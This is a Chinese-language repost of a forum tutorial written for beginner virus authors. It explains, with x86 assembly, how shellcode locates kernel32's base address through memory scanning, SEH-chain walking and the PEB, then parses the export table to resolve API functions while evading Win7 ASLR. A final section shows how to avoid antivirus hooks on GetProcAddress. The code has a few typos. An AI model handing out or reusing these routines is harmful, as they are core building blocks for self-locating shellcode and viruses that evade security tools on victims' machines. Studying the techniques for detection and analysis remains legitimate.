概述
本人近期在研究缓冲区溢出,在学习中发现,win7下系统关键函数的地址随机化了(每次重启后地址有变),为了解决地址定位问题,在偌大的互联网上找了好久,贴来分享下,以作备用。
------------------------------------------------------------------------------------------------------------------
cvc论坛里好久没人写基础文章了,我就大胆地来个大家写个有关API函数地址获取的文章,希望对初学病毒的你有所帮助
要想动态地获得一个API函数的地址,我们通常都是调用系统的LoadLibraryA()函数和GetProcAddress()函数来动态地获得。LoadLibraryA()用来加载API函数对应的动态链接库
(dll),GetProcAddress()函数用来获得API函数对应的入口地址。
那如何获得LoadLibraryA()和GetProcAddress()的地址呢?
我们知道LoadLibraryA()和GetProcAddress()都是由kernel32.dll引出的函数,所以LoadLibraryA()的地址也可以由GetProcAddress()得到。那么GetProcAddress()的地址如何得
到呢?
上面说过GetProcAddress()的地址在kernel32.dll中,具体地说是在kernel32的引出表中,所以我们的问题变为如何找到kernel32的引出表地址,或者说如何找到kernel32的基地
址。
找kernel32基地址的方法一般有三种:暴力搜索法、异常处理链表搜索法、PEB法。
暴力搜索法是最早的动态查找kernel32基地址的方法。它的原理是几乎所有的win32可执行文件(pe格式文件)运行的时候都加载kernel32.dll,可执行文件进入入口点执行后esp
存放的一般是Kernel32.DLL 中的某个地址,所以沿着这个地址向上查找就可以找到kernel32的基地址。
那么如何知道我们找到的地址是kernel32的基地址呢?
因为kernel32.dll也是标准的pe结构文件,pe结构文件的开始是IMAGE_DOS_HEADER结构,IMAGE_DOS_HEADER结构的第一个字段是e_magic,它的值为’MZ’用于证明这是DOS兼容的
文件类型,所以如果我们找到的地址所指向的字符串为’MZ’,那么我们可以确信这是kernel32的基地址,具体代码如下:
Find_kernel32:
mov eax,[esp]
and eax,00000fffh;因为kernel32的基地址在内存中页的开始处,这代码的作用是对齐
;页的开始
compare:
cmp eax,40000h;比较是否低于应用程序的边界
jb find_kernel32_fail;低于则查找失败
cmp word ptr[eax],’ZM’;比较e_magic,因为Intel CPU是小端模式所以是’ZM’不是’MZ’
je kernel32_found
sub eax.100h;以页为单位加速查找
jmp compare
kernel32_found:
补充:and eax,00000ffffh也可以换成or eax,00000fffh xor eax,00000fffh 我更喜欢后一种:)
暴力搜索是有缺陷的,如果搜索的内存为不可读时,电脑就会蓝屏,所以毒客们发明了更安全的异常处理链表搜索法。所谓异常处理链表就是系统提供的处理异常的机制,当系统
遇到一个不知道如何处理的异常时就会查找异常处理链表,找到对应的异常处理程序,把保存的处理程序地址赋给eip,并执行处理程序,避免系统崩溃,异常处理链表的最后一项
是默认异常处理函数UnhandledExceptionFilter,因为UnhandledExceptionFilter在kernel32中,所以从UNhandledExceptionFilter地址向上搜索即可找到kernel32的基地址,具体
代码如下:
Load_SEH:
xor edx, edx;edx=0
push dword ptr fs:{edx];注册SEH异常处理函数
mov fs:[edx],esp
mov eax,[esp+(12*4)];指向SEH末尾
xor ax,ax; 对齐于64k边界开始
find_kernel32:
cmp eax,40000h;比较是否低于应用程序的边界
jb find_kernel32_fail;低于则查找失败
cmp word ptr[eax],’ZM’;比较MZ标志
je kernel32_found
sub eax,65536;以64k为边界加速查找
jmp find_kernel32
kernel32_found:
补充:找UnhandledExceptionFilter函数地址还可以用如下方法UnhandledExceptionFilter指针是在异常链表的最后,它的上一个值是指向下一个处理点的地址,因为后面没有异常
处理点了,所以是0xffffffff,所以获得UnhandledExceptionFilter地址的代码为:
GetExceptionFilter:
cmp [eax],0xffffffff
je GetedExceptionFilter
mov eax,[eax]
jmp GetExceptionFilter
GetedExceptionFilter:
mov eax,[eax+4]
随着黑客技术的发展,后来出现了更为简单的方法:PEB法。(结构示意图来自 http://bbs.nyasama.com/forum.php?mod=viewthread&tid=585 )
01.typedef struct _PEB
02.{
03. UCHAR InheritedAddressSpace; // 00h
04. UCHAR ReadImageFileExecOptions; // 01h
05. UCHAR BeingDebugged; // 02h
06. UCHAR Spare; // 03h
07. PVOID Mutant; // 04h
08. PVOID ImageBaseAddress; // 08h
09. PPEB_LDR_DATA Ldr; // 0Ch
10. PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // 10h
11. PVOID SubSystemData; // 14h
12. PVOID ProcessHeap; // 18h
13. PVOID FastPebLock; // 1Ch
14. PPEBLOCKROUTINE FastPebLockRoutine; // 20h
15. PPEBLOCKROUTINE FastPebUnlockRoutine; // 24h
16. ULONG EnvironmentUpdateCount; // 28h
17. PVOID* KernelCallbackTable; // 2Ch
18. PVOID EventLogSection; // 30h
19. PVOID EventLog; // 34h
20. PPEB_FREE_BLOCK FreeList; // 38h
21. ULONG TlsExpansionCounter; // 3Ch
22. PVOID TlsBitmap; // 40h
23. ULONG TlsBitmapBits[0x2]; // 44h
24. PVOID ReadOnlySharedMemoryBase; // 4Ch
25. PVOID ReadOnlySharedMemoryHeap; // 50h
26. PVOID* ReadOnlyStaticServerData; // 54h
27. PVOID AnsiCodePageData; // 58h
28. PVOID OemCodePageData; // 5Ch
29. PVOID UnicodeCaseTableData; // 60h
30. ULONG NumberOfProcessors; // 64h
31. ULONG NtGlobalFlag; // 68h
32. UCHAR Spare2[0x4]; // 6Ch
33. LARGE_INTEGER CriticalSectionTimeout; // 70h
34. ULONG HeapSegmentReserve; // 78h
35. ULONG HeapSegmentCommit; // 7Ch
36. ULONG HeapDeCommitTotalFreeThreshold; // 80h
37. ULONG HeapDeCommitFreeBlockThreshold; // 84h
38. ULONG NumberOfHeaps; // 88h
39. ULONG MaximumNumberOfHeaps; // 8Ch
40. PVOID** ProcessHeaps; // 90h
41. PVOID GdiSharedHandleTable; // 94h
42. PVOID ProcessStarterHelper; // 98h
43. PVOID GdiDCAttributeList; // 9Ch
44. PVOID LoaderLock; // A0h
45. ULONG OSMajorVersion; // A4h
46. ULONG OSMinorVersion; // A8h
47. ULONG OSBuildNumber; // ACh
48. ULONG OSPlatformId; // B0h
49. ULONG ImageSubSystem; // B4h
50. ULONG ImageSubSystemMajorVersion; // B8h
51. ULONG ImageSubSystemMinorVersion; // C0h
52. ULONG GdiHandleBuffer[0x22]; // C4h
53. PVOID ProcessWindowStation; // ???
54.} PEB, *PPEB;
原理如下:在NT内核系统中fs寄存器指向TEB结构,TEB+0x30处指向PEB结构,PEB+0x0c处指向PEB_LDR_DATA结构,
PEB_LDR_DATA+0x1c处存放一些动态链接库地址,第一个指向ntdl.dll,第二个就是kernel32.dll的基地址了。对于非NT内核的9x系统也有类似的链接结构,但是我没有找到相关的
文档,无法做出解释,记下来就好了,就像考前临时抱佛脚那样:) PEB法的代码如下:
find_kernel32:
push esi
xor eax, eax
assume fs:nothing
mov eax, fs:[eax+030h]; eax指向PEB结构
test eax, eax;是否为9x
js find_kernel32_9x
find_kernel32_nt:
mov eax, [eax + 0ch];eax指向PEB_LDR_DATA结构
mov esi, [eax + 01ch];
lodsd
mov eax, [eax + 08h];eax中为kernel基地址
jmp find_kernel32_finished
find_kernel32_9x:
mov eax, [eax + 034h]
lea eax, [eax + 07ch]
mov eax, [eax + 03ch]
kernel32_found:
pop esi
补充:只用cmp word ptr[eax],’ZM’来验证kernel32的基地址有点太单薄,我们可以加点东西,在IMAGE_DOS_HEADER+0x3ch处是e_lfanew存放IMAGE_NT_HEAGER结构的文件地址,
IMAGE_NT_HEAGER结构的第一个字段是signature值为’PE’用于证明是PE文件头,我们还可以检查文件的重分配表的文件地址值是否为40h,子系统是否为win32系统,是否是DLL文
件,具体代码为:
assume esi :ptr IMAGE_DOS_HEADER
cmp [esi].e_magic,IMAGE_DOS_SIGNATURE
jne find_kernel32
cmp [esi]. e_lfarlc,040h;比较重分配表的文件地址
jne find_kernel32
add esi,[esi].e_lfanew ;此时edx指向PE文件头
assume esi:ptr IMAGE_NT_HEADERS
cmp [esi].Signatur,IMAGE_NT_SIGNATURE ;是PE文件吗?
jne find_kernel32
cmp word ptr [esi].OptionalHeader.Subsystem,2比较子系统
jne find_kernel32
cmp word ptr [esi]. OptionalHeader.DllCharacterstics,00100000b;比较DLL状态
得到了kernel32的基地址,下一步就是定位到引出表找到GetProcAddress的地址。PE头+120处就是引出表的文件地址,引出表中有三个我们需要的字段:
AddressOfFunction字段:指向模块中所有函数地址的数组
AddressOfNames字段:指向模块中所有函数名称的数组
AddressOfNameOrdinals字段:指向AddressOfNames数组中函数对应序数的数组
我们可以这样差找函数地址,用函数的名称在AddressOfName指向的数组中找对应的序号,序号乘以2后在AddressOfNameOrdinals指向的数组中找对应的序数,序数乘以4后在
AddressOfFunction指向的数组中找对应的函数地址,具体代码如下:
输入;
esi=要查找的函数名
eax=函数所在动态链接库地址
输出:
eax=函数的地址
GetFunctionAddress PROC
mov ebx, [eax + 3Ch];指向PE头
add ebx, eax
add ebx, 120
mov ebx, [ebx]
add ebx, eax ;ebx=引出表地址
xor edx, edx
mov ecx, [ebx + 32];AddressOfNames
add ecx, eax
push esi
push edx
CompareNext: 在函数名数组中查找下一个函数名
pop edx
pop esi
inc edx
mov edi, [ecx]
add edi, eax
add ecx, 4
push esi
push edx
CompareName: ;比较要查找的函数名是否于函数名数组中的一致
mov dl, [edi]
mov dh, [esi]
cmp dl, dh
jne CompareNext
inc edi
inc esi
cmp byte ptr [esi], 0
je GetAddress
jmp CompareName
GetAddress:
pop edx
pop esi
dec edx
shl edx, 1;乘2
mov ecx, [ebx + 36];AddressOfNameOrdinals
add ecx, eax
add ecx, edx
xor edx, edx
mov dx, [ecx]
shl edx, 2;乘4
mov ecx, [ebx + 28];AddressOfFunction
add ecx, eax
add ecx, edx
add eax, [ecx]
ret
GetFunctionAddress ENDP
通过以上讨论GetProcAddress地址可以用如下代码获得
mov eax ,[ebp+Kernel32]
lea esi,[ebp+API_GetProcAddress]
call GetFuntionAddress
mov [ebp+ADDR_GetProcAddress],eax
对于kernel32引出的函数都可以用如上的方法获得地址
对于非kernel32引出的函数如MessageBoxA()可以这样获取:
Lea ebx,[ebp+offset_DLL_User32]
push ebx
call [ebp+ADDR_LoadLibraryA];装载 user32.dll
push eax ;eax = user32的基地址
lea esi,[ebp+API_MessageBoxA]
push esi
call [ebp+ADDR_GetProcAddressA]
mov [ebp+ADDR_MessageBoxA],eax
补充:现在的杀毒软件都对GetProcAddress函数挂钩,会对调用GetProcAddress函数的程序进行检查,所以为了绕过这保护机制我们不用GetProcAddress函数,像获取kernel32引
出函数那样,直接在动态链接库中找相应的函数地址,还是以MessageBoxA为例,代码如下:
lea esi, [ebp + API_LoadLibraryA]
call GetFunctionAddress
lea ebx, [ebp + offset_DLL_User32]
push ebx
call eax ; 装载 user32.dll eax = user32的基地址
lea esi, [ebp + API_MessageBoxA]
call GetFunctionAddress
mov [ebp + ADDR_MessageBoxA], eax
就写这么多了有错误还希望大家指出来,下一次写有关简单病毒优化的文章希望大家支持:)
最后
以上就是爱撒娇胡萝卜为你收集整理的动态获取API函数地址---对抗win7 aslr安全机制的全部内容,希望文章能够帮你解决动态获取API函数地址---对抗win7 aslr安全机制所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复